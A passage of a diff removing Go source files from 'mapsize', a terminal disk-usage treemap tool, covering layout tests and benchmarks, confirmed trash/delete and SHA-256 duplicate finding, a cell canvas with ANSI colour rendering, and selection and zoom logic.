if w < 0 || h < 0 || n < 0 {
return
}
r := rand.New(rand.NewSource(seed))
items := make([]Item, n)
for i := range items {
items[i] = Item{int64(i), float64(r.Int63n(1 << uint(r.Intn(40)+1)))}
}
b := Rect{r.Intn(10), r.Intn(10), w, h}
bl := Squarify(items, b)
if !b.Empty() && len(bl) > 0 {
checkPartition(t, bl, b, true)
}
})
}
func TestVisible(t *testing.T) {
sizes := []float64{100, 50, 10, 1, 1, 1}
if k := Visible(sizes, 163, 1630, 20, 100); k != 3 {
t.Fatalf("k=%d", k)
}
if k := Visible(sizes, 163, 1630, 20, 2); k != 2 {
t.Fatalf("maxItems k=%d", k)
}
if k := Visible([]float64{10, 1}, 11, 1100, 200, 10); k != 2 {
t.Fatalf("single leftover k=%d", k)
}
}
// Layout:
//
// ┌───────┬───────┐
// │ A │ B │
// ├───┬───┴───────┤
// │ C │ D │
// └───┴───────────┘
func TestNeighbour(t *testing.T) {
A := Block{1, Rect{0, 0, 8, 4}}
B := Block{2, Rect{8, 0, 8, 4}}
C := Block{3, Rect{0, 4, 4, 4}}
D := Block{4, Rect{4, 4, 12, 4}}
bs := []Block{D, C, B, A} // order must not matter
cases := []struct {
from int64
d Direction
want int64
ok bool
}{
{1, Right, 2, true}, {2, Left, 1, true}, {1, Down, 3, true}, {2, Down, 4, true},
{3, Right, 4, true}, {4, Left, 3, true}, {3, Up, 1, true}, {4, Up, 2, true},
{1, Left, 0, false}, {1, Up, 0, false}, {4, Right, 0, false}, {4, Down, 0, false},
}
for _, c := range cases {
got, ok := Neighbour(bs, c.from, c.d)
if ok != c.ok || got != c.want {
t.Errorf("from %d dir %d: got %d,%v want %d,%v", c.from, c.d, got, ok, c.want, c.ok)
}
}
}
func TestNeighbourPrefersAdjacentOverArrayOrder(t *testing.T) {
// S is on the left; R is directly right; F is far right and lower but
// appears first in the slice.
S := Block{1, Rect{0, 0, 10, 5}}
R := Block{2, Rect{10, 0, 10, 5}}
F := Block{3, Rect{10, 20, 30, 5}}
if got, _ := Neighbour([]Block{F, S, R}, 1, Right); got != 2 {
t.Fatalf("got %d", got)
}
// Tall block on the left with three stacked blocks to the right: pick
// the one at the centre line.
T := Block{10, Rect{0, 0, 10, 9}}
r1 := Block{11, Rect{10, 0, 10, 3}}
r2 := Block{12, Rect{10, 3, 10, 3}}
r3 := Block{13, Rect{10, 6, 10, 3}}
if got, _ := Neighbour([]Block{r3, r1, r2, T}, 10, Right); got != 12 {
t.Fatalf("centre preference: got %d", got)
}
if got, _ := Neighbour([]Block{r3, r1, r2, T}, 13, Left); got != 10 {
t.Fatalf("back left: got %d", got)
}
}
func TestNeighbourRandomLayoutsAlwaysAdjacent(t *testing.T) {
r := rand.New(rand.NewSource(7))
for iter := 0; iter < 200; iter++ {
items := make([]Item, 2+r.Intn(30))
for i := range items {
items[i] = Item{int64(i), float64(1 + r.Intn(1000))}
}
bl := Squarify(items, Rect{0, 0, 120, 40})
for _, s := range bl {
for _, d := range []Direction{Left, Right, Up, Down} {
id, ok := Neighbour(bl, s.ID, d)
if !ok {
continue
}
var c Block
for _, b := range bl {
if b.ID == id {
c = b
}
}
// In a partition, if any block touches the edge in direction d
// with overlapping span, the chosen one must touch too.
var touch bool
switch d {
case Right:
touch = c.X == s.X+s.W
case Left:
touch = c.X+c.W == s.X
case Down:
touch = c.Y == s.Y+s.H
case Up:
touch = c.Y+c.H == s.Y
}
if !touch {
t.Fatalf("iter %d: from %+v dir %d chose non-adjacent %+v", iter, s, d, c)
}
}
}
}
}
func BenchmarkSquarify(b *testing.B) {
items := make([]Item, 300)
for i := range items {
items[i] = Item{int64(i), float64(1 + i*i)}
}
for b.Loop() {
Squarify(items, Rect{0, 0, 200, 60})
}
}
func BenchmarkNeighbour(b *testing.B) {
items := make([]Item, 300)
for i := range items {
items[i] = Item{int64(i), float64(1 + i*i)}
}
bl := Squarify(items, Rect{0, 0, 200, 60})
for b.Loop() {
Neighbour(bl, 150, Right)
}
}
-276
View File
@@ -1,276 +0,0 @@
package tui
import (
"context"
"fmt"
"io/fs"
"time"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/duplicate"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/platform"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// ---- Trash ---------------------------------------------------------------
type trashDoneMsg struct {
tree *inventory.Tree // the tree id belongs to; results for a replaced tree are dropped
id inventory.NodeID
err error
done string // "Moved to trash" or "Deleted"
}
// requestTrash asks for confirmation before moving the selection to the
// trash. On a headless system (no desktop, so nobody empties the trash and
// the space is never freed) it deletes permanently instead, after a
// confirmation that says so.
func (m *Model) requestTrash() tea.Cmd {
switch {
case m.opts.ReadOnly:
return m.warn("Read-only mode: modifying actions are disabled")
case m.snapshot:
return m.warn("Snapshot view: nothing to delete on the live filesystem")
case m.scanning:
return m.warn("Wait for the scan to finish before deleting items")
}
id := m.selectedNode()
if id == inventory.NoNode || id == m.tree.Root() {
return nil
}
n := m.tree.Node(id)
path := m.tree.Path(id)
want := platform.Expect{UID: n.UID, Mode: fs.FileMode(n.Mode)}
what := "file"
if n.IsDir() {
what = fmt.Sprintf("directory with %s files", textutil.Count(int64(n.Files)))
}
body := []string{textutil.Sanitize(path), "", fmt.Sprintf("%s · %s", what, textutil.Size(n.Total(m.sizeMode))), ""}
if platform.Headless() {
m.openModal(&confirmModal{
ttl: "Delete permanently? Are you sure?",
body: append(body, "This is a headless system (no X or Wayland display), so there is no trash:",
"it will be permanently deleted and cannot be recovered."),
yes: "delete permanently",
onYes: func(m *Model) tea.Cmd {
t := m.tree
return func() tea.Msg { return trashDoneMsg{t, id, platform.Delete(path, want), "Deleted"} }
},
})
return nil
}
m.openModal(&confirmModal{
ttl: "Move to trash?",
body: append(body, "It will be moved to the "+platform.TrashName+", not permanently deleted."),
yes: "move to " + platform.TrashName,
onYes: func(m *Model) tea.Cmd {
t := m.tree
return func() tea.Msg {
return trashDoneMsg{t, id, platform.Trash(path, want), "Moved to " + platform.TrashName}
}
},
})
return nil
}
func (m *Model) trashDone(msg trashDoneMsg) tea.Cmd {
if msg.err != nil {
return m.warn("Delete failed: " + textutil.Sanitize(msg.err.Error()))
}
if msg.tree != m.tree || m.scanning {
// A rescan replaced the inventory; the new scan reflects the change.
return m.info(msg.done)
}
// The scan has finished, so the UI goroutine is the tree's only writer.
t := m.tree
t.Lock()
n := t.Node(msg.id)
n.Flags |= inventory.FlagDeleted
d := inventory.Delta{Size: -n.TotSize, Alloc: -n.TotAlloc, Files: -int64(n.Files), Dirs: -int64(n.Dirs)}
if n.IsDir() {
d.Dirs--
for i, v := range t.CatSizes(msg.id) {
d.Cat[i] = -v
}
} else {
d.Files--
d.Cat[n.Cat] = -n.TotAlloc
}
t.Propagate(n.Parent, d)
n.TotSize, n.TotAlloc = 0, 0
name := n.Name
t.Unlock()
m.invalidate()
return m.info(msg.done + ": " + textutil.Sanitize(name))
}
// ---- Duplicates ----------------------------------------------------------
type dupState struct {
running bool
finder *duplicate.Finder
groups []duplicate.Group
err error
cancel context.CancelFunc
started time.Time
}
type (
dupProgressMsg struct{}
dupDoneMsg struct {
finder *duplicate.Finder // identifies the search; stale results are dropped
groups []duplicate.Group
err error
}
)
func (m *Model) startDuplicates() tea.Cmd {
if m.snapshot {
return m.warn("Duplicate detection needs the live filesystem")
}
if m.scanning {
return m.warn("Wait for the scan to finish first")
}
if m.dups != nil {
m.ensureDupView()
return nil
}
m.openModal(&confirmModal{
ttl: "Find duplicate files?",
body: []string{
"Files are grouped by size, then sampled, then fully hashed with SHA-256.",
"Only identical hashes are reported as duplicates.",
"", "This reads file contents (it may take a while and can update access times).",
},
yes: "start",
onYes: func(m *Model) tea.Cmd {
ctx, cancel := context.WithCancel(context.Background())
f := &duplicate.Finder{}
m.dups = &dupState{running: true, finder: f, cancel: cancel, started: time.Now()}
m.ensureDupView()
t := m.tree
return tea.Batch(m.startTicking(), func() tea.Msg {
g, err := f.Find(ctx, t, duplicate.Options{MinSize: 1, Workers: 4})
return dupDoneMsg{f, g, err}
})
},
})
return nil
}
func (m *Model) ensureDupView() {
for i, v := range m.views {
if _, ok := v.(*dupView); ok {
m.setView(i)
return
}
}
m.views = append(m.views, &dupView{})
m.setView(len(m.views) - 1)
}
func (m *Model) dupMsg(msg tea.Msg) tea.Cmd {
if d, ok := msg.(dupDoneMsg); ok && m.dups != nil && d.finder == m.dups.finder {
m.dups.running = false
m.dups.groups, m.dups.err = d.groups, d.err
m.dirty = true
var wasted int64
for _, g := range d.groups {
wasted += g.Wasted()
}
return m.info(fmt.Sprintf("Duplicates: %d verified groups, %s reclaimable", len(d.groups), textutil.Size(wasted)))
}
return nil
}
type dupView struct {
tb table
rows []dupRow
}
type dupRow struct {
group int
id inventory.NodeID // NoNode for a group header
}
func (*dupView) name() string { return "Dups" }
func (v *dupView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
d := m.dups
if d == nil {
cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Press D to search for duplicates", t.muted())
return
}
if d.running {
p := d.finder.Progress()
cv.Fill(r, " ", t.base())
y := r.Y + r.H/2 - 2
cv.TextCentered(r.X, y, r.W, "Finding duplicates — "+p.Stage+"…", Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
cv.TextCentered(r.X, y+2, r.W, fmt.Sprintf("%s candidate files in %s size groups", textutil.Count(p.Candidates),
textutil.Count(p.CandidateGroups)), t.base())
if p.BytesToHash > 0 {
frac := float64(p.BytesHashed) / float64(p.BytesToHash)
bw := min(60, r.W-10)
m.paintBar(cv, r.X+(r.W-bw)/2, y+4, bw, frac, t.Accent, false)
cv.TextCentered(r.X, y+5, r.W, fmt.Sprintf("%s of %s hashed · %s skipped", textutil.Size(p.BytesHashed),
textutil.Size(p.BytesToHash), textutil.Count(p.Skipped)), t.muted())
}
return
}
v.rows = v.rows[:0]
var tr []tableRow
for gi, g := range d.groups {
v.rows = append(v.rows, dupRow{gi, inventory.NoNode})
tr = append(tr, tableRow{
cells: []string{textutil.Size(g.Wasted()), fmt.Sprintf("%d × %s", len(g.Files), textutil.Size(g.Size)), fmt.Sprintf("verified identical · sha256 %x…", g.Hash[:8])},
styles: []*Style{{FG: t.Warn, BG: t.Bg, Attr: Bold}, {FG: t.Fg, BG: t.Bg, Attr: Bold}, {FG: t.OK, BG: t.Bg}}, bar: -1,
})
for _, id := range g.Files {
v.rows = append(v.rows, dupRow{gi, id})
tr = append(tr, tableRow{cells: []string{"", "", " " + textutil.Sanitize(m.tree.Path(id))}, bar: -1})
}
}
title := fmt.Sprintf("Duplicates — %d groups (Enter details · Space go to)", len(d.groups))
if d.err != nil {
title += " — stopped: " + textutil.Sanitize(d.err.Error())
}
v.tb.paint(m, cv, r, []column{{"WASTED", 10, true, false}, {"COPIES", 16, false, false}, {"", 0, false, false}}, tr, title)
}
func (v *dupView) key(m *Model, k string) (bool, tea.Cmd) {
if v.tb.key(k, len(v.rows)) {
return true, nil
}
if v.tb.cursor < len(v.rows) {
r := v.rows[v.tb.cursor]
if r.id == inventory.NoNode && m.dups != nil && r.group < len(m.dups.groups) {
r.id = m.dups.groups[r.group].Files[0]
}
if r.id != inventory.NoNode {
switch k {
case "enter":
m.openModal(newInfoModal(m, r.id))
return true, nil
case "space":
m.jumpTo(r.id)
return true, nil
case "c", "o", "d":
m.sel = int64(r.id)
}
}
}
if k == "esc" && m.dups != nil && m.dups.running {
m.dups.cancel()
return true, nil
}
return false, nil
}
func (v *dupView) wheel(m *Model, up bool) tea.Cmd {
v.tb.scroll(up, len(v.rows))
return nil
}
-114
View File
@@ -1,114 +0,0 @@
package tui
import (
"fmt"
"math/rand"
"testing"
"github.com/charmbracelet/colorprofile"
"github.com/andydixon/mapsize/internal/inventory"
)
// bigTree builds ~1M nodes in memory: 200 top-level dirs with nested
// subdirectories, plus one flat directory with 200k files.
func bigTree() *inventory.Tree {
r := rand.New(rand.NewSource(1))
t := inventory.New("/big", inventory.KindDir)
file := func(p inventory.NodeID, i int) {
id := t.Add(p, fmt.Sprintf("f%d.dat", i), inventory.KindFile)
n := t.Node(id)
n.Size = int64(r.ExpFloat64() * 1e6)
n.Alloc = n.Size
n.Cat = inventory.Category(r.Intn(int(inventory.NumCategories)))
}
flat := t.Add(0, "flat", inventory.KindDir)
for i := range 200_000 {
file(flat, i)
}
for d := range 200 {
top := t.Add(0, fmt.Sprintf("dir%d", d), inventory.KindDir)
for s := range 40 {
sub := t.Add(top, fmt.Sprintf("sub%d", s), inventory.KindDir)
for f := range 100 {
file(sub, f)
}
}
}
t.Recompute()
return t
}
var bigTreeCache *inventory.Tree
func benchModel(b *testing.B) *Model {
if bigTreeCache == nil {
bigTreeCache = bigTree()
}
m := newModel(Options{}, nil, bigTreeCache, func() {})
m.profile = colorprofile.TrueColor
send(m, size(200, 60))
return m
}
// Cold frame: sorting children, LOD selection, layout and paint.
func BenchmarkBigColdFrame(b *testing.B) {
m := benchModel(b)
b.ReportMetric(float64(m.tree.Len()), "nodes")
for b.Loop() {
m.invalidate()
m.View()
}
}
// Resize: child lists cached; layout and paint rerun for the new size.
func BenchmarkBigResize(b *testing.B) {
m := benchModel(b)
m.View()
i := 0
for b.Loop() {
send(m, size(150+i%100, 40+i%30))
m.View()
i++
}
}
// Zoomed into a 200k-entry directory (cold child sort each time).
func BenchmarkBigFlatDirCold(b *testing.B) {
m := benchModel(b)
m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) {
if n.Name == "flat" {
m.zoom = id
}
})
for b.Loop() {
m.invalidate()
m.View()
}
}
// Arrow-key navigation including the re-render it triggers.
func BenchmarkBigNavigate(b *testing.B) {
m := benchModel(b)
m.View()
keys := []string{"right", "down", "left", "up"}
i := 0
for b.Loop() {
send(m, key(keys[i%4]))
m.View()
i++
}
}
func BenchmarkBigFilter(b *testing.B) {
m := benchModel(b)
for _, q := range []string{"size > 1MB", "*.dat AND size > 500k", "path contains sub3"} {
b.Run(q, func(b *testing.B) {
m.search.ed.set(q)
m.queryChanged()
for b.Loop() {
m.applyFilter()()
}
})
}
}
-324
View File
@@ -1,324 +0,0 @@
package tui
import (
"strconv"
"strings"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// Color is 0 for the terminal default, otherwise 0x01RRGGBB.
type Color uint32
// RGB builds a colour.
func RGB(r, g, b uint8) Color { return Color(1<<24 | uint32(r)<<16 | uint32(g)<<8 | uint32(b)) }
// Hex parses "#rrggbb".
func Hex(s string) (Color, bool) {
s = strings.TrimPrefix(s, "#")
if len(s) != 6 {
return 0, false
}
v, err := strconv.ParseUint(s, 16, 32)
if err != nil {
return 0, false
}
return Color(1<<24 | uint32(v)), true
}
func (c Color) rgb() (r, g, b float64) {
return float64(c>>16&0xff) / 255, float64(c>>8&0xff) / 255, float64(c&0xff) / 255
}
// Mix blends c towards o by t (0..1). Default colours are returned as-is.
func (c Color) Mix(o Color, t float64) Color {
if c == 0 || o == 0 {
return c
}
r1, g1, b1 := c.rgb()
r2, g2, b2 := o.rgb()
f := func(a, b float64) uint8 { return uint8((a + (b-a)*t) * 255) }
return RGB(f(r1, r2), f(g1, g2), f(b1, b2))
}
// Luma returns perceived brightness 0..1.
func (c Color) Luma() float64 {
r, g, b := c.rgb()
return 0.299*r + 0.587*g + 0.114*b
}
// Attr is a text attribute bit set.
type Attr uint8
const (
Bold Attr = 1 << iota
Faint
Italic
Underline
Reverse
)
// Style is a cell style.
type Style struct {
FG, BG Color
Attr Attr
}
type cell struct {
s string // "" marks the continuation of a wide cluster
st Style
}
// Canvas is an in-memory cell grid that every view paints into. It is
// serialised once per frame.
type Canvas struct {
W, H int
c []cell
}
// NewCanvas creates a canvas filled with spaces in style st.
func NewCanvas(w, h int, st Style) *Canvas {
cv := &Canvas{W: max(w, 0), H: max(h, 0)}
cv.c = make([]cell, cv.W*cv.H)
for i := range cv.c {
cv.c[i] = cell{" ", st}
}
return cv
}
func (cv *Canvas) in(x, y int) bool { return x >= 0 && y >= 0 && x < cv.W && y < cv.H }
// put writes one cluster of width w at (x, y), repairing any wide cluster it
// overlaps so the grid never holds half a character.
func (cv *Canvas) put(x, y int, s string, w int, st Style) {
if !cv.in(x, y) || x+w > cv.W {
return
}
row := y * cv.W
for i := x; i < x+w; i++ {
c := &cv.c[row+i]
if c.s == "" && i > 0 && i == x { // overwriting the tail of a wide cluster
cv.c[row+i-1].s = " "
}
if c.s != "" && textutil.Width(c.s) > 1 && i+1 < cv.W { // overwriting its head
if n := &cv.c[row+i+1]; n.s == "" {
n.s = " "
}
}
}
cv.c[row+x] = cell{s, st}
for i := 1; i < w; i++ {
cv.c[row+x+i] = cell{"", st}
}
}
// Text draws s at (x, y), clipped to maxW cells and the canvas. Control
// characters are replaced as a second line of defence (callers sanitise
// untrusted strings first). It returns the number of cells used.
func (cv *Canvas) Text(x, y int, s string, maxW int, st Style) int {
if y < 0 || y >= cv.H {
return 0
}
limit := min(x+maxW, cv.W)
cx := x
textutil.Clusters(s, func(c string, w int) bool {
if r := c[0]; r < 0x20 || r == 0x7f || (len(c) > 1 && c[0] == 0xc2 && c[1] < 0xa0) {
c, w = "?", 1
}
if cx+w > limit {
// A wide cluster that does not fit leaves a blank cell.
for ; cx < limit; cx++ {
if cx >= 0 {
cv.put(cx, y, " ", 1, st)
}
}
return false
}
if cx >= 0 {
cv.put(cx, y, c, w, st)
}
cx += w
return true
})
return cx - x
}
// TextCentered draws s centred within [x, x+w).
func (cv *Canvas) TextCentered(x, y, w int, s string, st Style) {
s = textutil.Truncate(s, w)
cv.Text(x+(w-textutil.Width(s))/2, y, s, w, st)
}
// TextRight draws s right-aligned ending at x+w.
func (cv *Canvas) TextRight(x, y, w int, s string, st Style) {
s = textutil.Truncate(s, w)
cv.Text(x+w-textutil.Width(s), y, s, w, st)
}
// Fill fills r with the cluster ch.
func (cv *Canvas) Fill(r treemap.Rect, ch string, st Style) {
for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ {
for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ {
cv.put(x, y, ch, 1, st)
}
}
}
// Restyle applies fn to the style of every cell in r.
func (cv *Canvas) Restyle(r treemap.Rect, fn func(Style) Style) {
for y := max(r.Y, 0); y < min(r.Y+r.H, cv.H); y++ {
for x := max(r.X, 0); x < min(r.X+r.W, cv.W); x++ {
c := &cv.c[y*cv.W+x]
c.st = fn(c.st)
}
}
}
// Box glyph sets.
type BoxChars struct{ H, V, TL, TR, BL, BR string }
var (
BoxLight = BoxChars{"─", "│", "┌", "┐", "└", "┘"}
BoxRound = BoxChars{"─", "│", "╭", "╮", "╰", "╯"}
BoxDouble = BoxChars{"═", "║", "╔", "╗", "╚", "╝"}
BoxHeavy = BoxChars{"━", "┃", "┏", "┓", "┗", "┛"}
BoxASCII = BoxChars{"-", "|", "+", "+", "+", "+"}
BoxASCIISel = BoxChars{"=", "#", "#", "#", "#", "#"}
)
// Box draws a border around r (which must be at least 2×2).
func (cv *Canvas) Box(r treemap.Rect, b BoxChars, st Style) {
if r.W < 2 || r.H < 2 {
return
}
x1, y1 := r.X+r.W-1, r.Y+r.H-1
for x := r.X + 1; x < x1; x++ {
cv.put(x, r.Y, b.H, 1, st)
cv.put(x, y1, b.H, 1, st)
}
for y := r.Y + 1; y < y1; y++ {
cv.put(r.X, y, b.V, 1, st)
cv.put(x1, y, b.V, 1, st)
}
cv.put(r.X, r.Y, b.TL, 1, st)
cv.put(x1, r.Y, b.TR, 1, st)
cv.put(r.X, y1, b.BL, 1, st)
cv.put(x1, y1, b.BR, 1, st)
}
// HLine draws a horizontal rule.
func (cv *Canvas) HLine(x, y, w int, ch string, st Style) {
for i := x; i < x+w; i++ {
cv.put(i, y, ch, 1, st)
}
}
// Cell returns the text and style at (x, y) (for tests).
func (cv *Canvas) Cell(x, y int) (string, Style) {
if !cv.in(x, y) {
return "", Style{}
}
c := cv.c[y*cv.W+x]
return c.s, c.st
}
// Line returns the plain text of row y (for tests).
func (cv *Canvas) Line(y int) string {
var b strings.Builder
for x := 0; x < cv.W; x++ {
b.WriteString(cv.c[y*cv.W+x].s)
}
return b.String()
}
// colorDepth selects how colours are serialised.
type colorDepth uint8
const (
depthTrue colorDepth = iota
depth256
depth16
)
func sgr(b *strings.Builder, st Style, depth colorDepth) {
b.WriteString("\x1b[0")
if st.Attr&Bold != 0 {
b.WriteString(";1")
}
if st.Attr&Faint != 0 {
b.WriteString(";2")
}
if st.Attr&Italic != 0 {
b.WriteString(";3")
}
if st.Attr&Underline != 0 {
b.WriteString(";4")
}
if st.Attr&Reverse != 0 {
b.WriteString(";7")
}
col := func(c Color, base string) {
if c == 0 {
return
}
switch depth {
case depth256:
b.WriteString(";" + base + ";5;")
b.WriteString(strconv.Itoa(int(quant256(c))))
return
case depth16:
n := int(quant16(c))
code := 30 + n
if n >= 8 {
code = 90 + n - 8
}
if base == "48" {
code += 10
}
b.WriteString(";" + strconv.Itoa(code))
return
}
b.WriteString(";" + base + ";2;")
b.WriteString(strconv.Itoa(int(c >> 16 & 0xff)))
b.WriteByte(';')
b.WriteString(strconv.Itoa(int(c >> 8 & 0xff)))
b.WriteByte(';')
b.WriteString(strconv.Itoa(int(c & 0xff)))
}
col(st.FG, "38")
col(st.BG, "48")
b.WriteByte('m')
}
// String serialises the canvas as lines of text with SGR styling and
// 24-bit colours.
func (cv *Canvas) String() string { return cv.Render(depthTrue) }
// Render serialises the canvas. For 256 and 16 colours it quantizes with
// its own perceptual mapping (see color256.go); Bubble Tea strips colour
// entirely for colourless terminals.
func (cv *Canvas) Render(depth colorDepth) string {
var b strings.Builder
b.Grow(cv.W * cv.H * 4)
for y := 0; y < cv.H; y++ {
if y > 0 {
b.WriteByte('\n')
}
var cur Style
first := true
for x := 0; x < cv.W; x++ {
c := cv.c[y*cv.W+x]
if c.s == "" {
continue
}
if first || c.st != cur {
sgr(&b, c.st, depth)
cur, first = c.st, false
}
b.WriteString(c.s)
}
b.WriteString("\x1b[0m")
}
return b.String()
}
-96
View File
@@ -1,96 +0,0 @@
package tui
import (
"math"
"sync"
)
// The stock 256-colour conversion maps dark, slightly tinted colours to
// saturated cube entries (olive, navy), which wrecks the subtle shading the
// treemap relies on. quant256 picks the perceptually nearest entry (redmean
// distance) among the cube and the grey ramp, never the palette-dependent
// first 16 entries.
var (
cubeLevels = [6]int{0, 95, 135, 175, 215, 255}
q256Cache sync.Map // Color -> uint8
)
func redmean(r1, g1, b1, r2, g2, b2 int) int {
rm := (r1 + r2) / 2
dr, dg, db := r1-r2, g1-g2, b1-b2
return ((512+rm)*dr*dr)>>8 + 4*dg*dg + ((767-rm)*db*db)>>8
}
func quant256(c Color) uint8 {
if v, ok := q256Cache.Load(c); ok {
return v.(uint8)
}
r, g, b := int(c>>16&0xff), int(c>>8&0xff), int(c&0xff)
best, bestD := 16, math.MaxInt
for i := 0; i < 216; i++ {
cr, cg, cb := cubeLevels[i/36], cubeLevels[i/6%6], cubeLevels[i%6]
if d := redmean(r, g, b, cr, cg, cb); d < bestD {
best, bestD = 16+i, d
}
}
for i := 0; i < 24; i++ {
v := 8 + 10*i
if d := redmean(r, g, b, v, v, v); d < bestD {
best, bestD = 232+i, d
}
}
q256Cache.Store(c, uint8(best))
return uint8(best)
}
var q16Cache sync.Map // Color -> uint8
// quant16 maps a colour to a basic colour. Dark shades become black and
// unsaturated colours grey/white, so tints and shadows stay quiet; saturated
// colours keep their hue (bright variant when light), so category colours
// survive. The stock conversion instead turns dark tints into bright
// yellow/cyan.
func quant16(c Color) uint8 {
if v, ok := q16Cache.Load(c); ok {
return v.(uint8)
}
rf, gf, bf := c.rgb()
mx, mn := max(rf, gf, bf), min(rf, gf, bf)
luma := c.Luma()
var n uint8
switch {
case luma < 0.2:
n = 0
case mx-mn < 0.12: // grey
switch {
case luma < 0.45:
n = 8
case luma < 0.8:
n = 7
default:
n = 15
}
default:
// Hue in sixths: red, yellow, green, cyan, blue, magenta.
var h float64
switch mx {
case rf:
h = math.Mod((gf-bf)/(mx-mn), 6)
case gf:
h = (bf-rf)/(mx-mn) + 2
default:
h = (rf-gf)/(mx-mn) + 4
}
if h < 0 {
h += 6
}
ansi := [6]uint8{1, 3, 2, 6, 4, 5}[int(math.Round(h))%6]
n = ansi
if luma > 0.5 {
n += 8
}
}
q16Cache.Store(c, n)
return n
}
-199
View File
@@ -1,199 +0,0 @@
package tui
import (
"sort"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/snapshot"
)
// kids is a cached, size-sorted child list (zero-size entries removed).
type kids struct {
ids []inventory.NodeID
sizes []int64
total int64
}
// sizeOf returns the size that drives layout: the filtered size when a
// filter is active, otherwise the aggregate in the current size mode.
// Callers hold the tree read lock.
func (m *Model) sizeOf(id inventory.NodeID) int64 {
if r := m.search.result; r != nil {
return r.Size(id)
}
n := m.tree.Node(id)
if n.Flags&inventory.FlagDeleted != 0 {
return 0
}
return n.Total(m.sizeMode)
}
// kidsOf returns the sorted children of id, cached until data changes.
func (m *Model) kidsOf(id inventory.NodeID) *kids {
if m.kidsVer != m.dataVer {
clear(m.kidsCache)
m.kidsVer = m.dataVer
}
if k, ok := m.kidsCache[id]; ok {
return k
}
k := &kids{}
m.tree.Children(id, func(c inventory.NodeID, _ *inventory.Node) {
if s := m.sizeOf(c); s > 0 {
k.ids = append(k.ids, c)
k.sizes = append(k.sizes, s)
k.total += s
}
})
sort.Sort(byKidSize{k})
m.kidsCache[id] = k
return k
}
type byKidSize struct{ *kids }
func (b byKidSize) Len() int { return len(b.ids) }
func (b byKidSize) Less(i, j int) bool {
if b.sizes[i] != b.sizes[j] {
return b.sizes[i] > b.sizes[j]
}
return b.ids[i] < b.ids[j]
}
func (b byKidSize) Swap(i, j int) {
b.ids[i], b.ids[j] = b.ids[j], b.ids[i]
b.sizes[i], b.sizes[j] = b.sizes[j], b.sizes[i]
}
// selectedNode returns the selected inventory node (NoNode for groups).
func (m *Model) selectedNode() inventory.NodeID {
if m.sel == noSel || isGroup(m.sel) || m.sel >= int64(m.tree.Len()) {
return inventory.NoNode
}
return inventory.NodeID(m.sel)
}
// ensureSelection keeps the selection meaningful after any change: if the
// selected node is no longer a direct, visible child of the zoom root it
// falls back to the visible ancestor, then the group containing it, then
// the largest child. Tree read lock held.
func (m *Model) ensureSelection() {
k := m.kidsOf(m.zoom)
if len(k.ids) == 0 {
m.sel = noSel
return
}
if !m.userSel {
// Until the user picks something, follow the largest block (it
// changes while a scan is running).
m.sel = int64(k.ids[0])
return
}
if isGroup(m.sel) {
if groupParent(m.sel) == m.zoom {
return
}
m.sel = noSel
}
id := m.selectedNode()
if id != inventory.NoNode {
// Walk up to the direct child of the zoom root.
for cur := id; cur != inventory.NoNode; cur = m.tree.Node(cur).Parent {
if m.tree.Node(cur).Parent == m.zoom {
if m.sizeOf(cur) > 0 {
m.sel = int64(cur)
return
}
break
}
}
}
m.sel = int64(k.ids[0])
}
// visibleSel maps the selection onto the treemap blocks: a node collapsed
// into the LOD group selects the group.
func (m *Model) visibleSel(blocks map[int64]bool) int64 {
if blocks[m.sel] {
return m.sel
}
if !isGroup(m.sel) && blocks[groupID(m.zoom)] {
return groupID(m.zoom)
}
return m.sel
}
// zoomTo makes dir the treemap root.
func (m *Model) zoomTo(dir inventory.NodeID) {
if dir == m.zoom {
return
}
prev := m.zoom
m.zoom = dir
// Coming back out, keep the directory we left selected.
if m.tree.IsAncestor(dir, prev) {
m.sel = int64(prev)
} else {
m.sel = noSel
}
m.userSel = m.sel != noSel
m.zoomed = true
m.dirty = true
}
func (m *Model) setView(i int) {
if i >= 0 && i < len(m.views) {
m.view = i
m.dirty = true
}
}
// colorOf returns the base colour for a block.
func (m *Model) colorOf(id int64) Color {
t := m.theme
if isGroup(id) {
return t.Group
}
nid := inventory.NodeID(id)
n := m.tree.Node(nid)
if d := m.opts.Diff; d != nil {
switch d.StatusOf(nid, m.sizeMode) {
case snapshot.Added:
return t.DiffNew
case snapshot.Grew:
old, _ := d.OldSize(nid, m.sizeMode)
return t.DiffSame.Mix(t.DiffGrow, ratio(n.Total(m.sizeMode)-old, old))
case snapshot.Shrank:
old, _ := d.OldSize(nid, m.sizeMode)
return t.DiffSame.Mix(t.DiffShrink, ratio(old-n.Total(m.sizeMode), old))
}
return t.DiffSame
}
if !n.IsDir() {
if t.Ext != nil {
if c, ok := t.Ext[m.tree.ExtName(n)]; ok {
return c
}
}
return t.Cat[n.Cat]
}
cs := m.tree.CatSizes(nid)
best, bestV := -1, int64(0)
for i, v := range cs {
if v > bestV {
best, bestV = i, v
}
}
if best < 0 {
return t.EmptyDir
}
return t.Cat[best]
}
// ratio maps a relative change to 0.35..1 for colour intensity.
func ratio(delta, base int64) float64 {
if base <= 0 {
return 1
}
r := float64(delta) / float64(base)
return min(1, 0.35+r*0.65)
}
-163
View File
@@ -1,163 +0,0 @@
package tui
import (
"fmt"
"runtime"
"strings"
tea "charm.land/bubbletea/v2"
"github.com/andydixon/mapsize/internal/inventory"
"github.com/andydixon/mapsize/internal/textutil"
"github.com/andydixon/mapsize/internal/treemap"
)
// infoView shows scan statistics and the error list.
type infoView struct{ tb table }
func (*infoView) name() string { return "Scan" }
func (v *infoView) focusErrors(m *Model) { v.tb.cursor = 0 }
func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) {
t := m.theme
cv.Fill(r, " ", t.base())
st := &m.tree.Stats
root := m.tree.Node(m.tree.Root())
lw := min(52, r.W/2)
if r.W < 100 {
lw = r.W - 2
}
y := r.Y + 1
x := r.X + 2
label := Style{FG: t.Muted, BG: t.Bg}
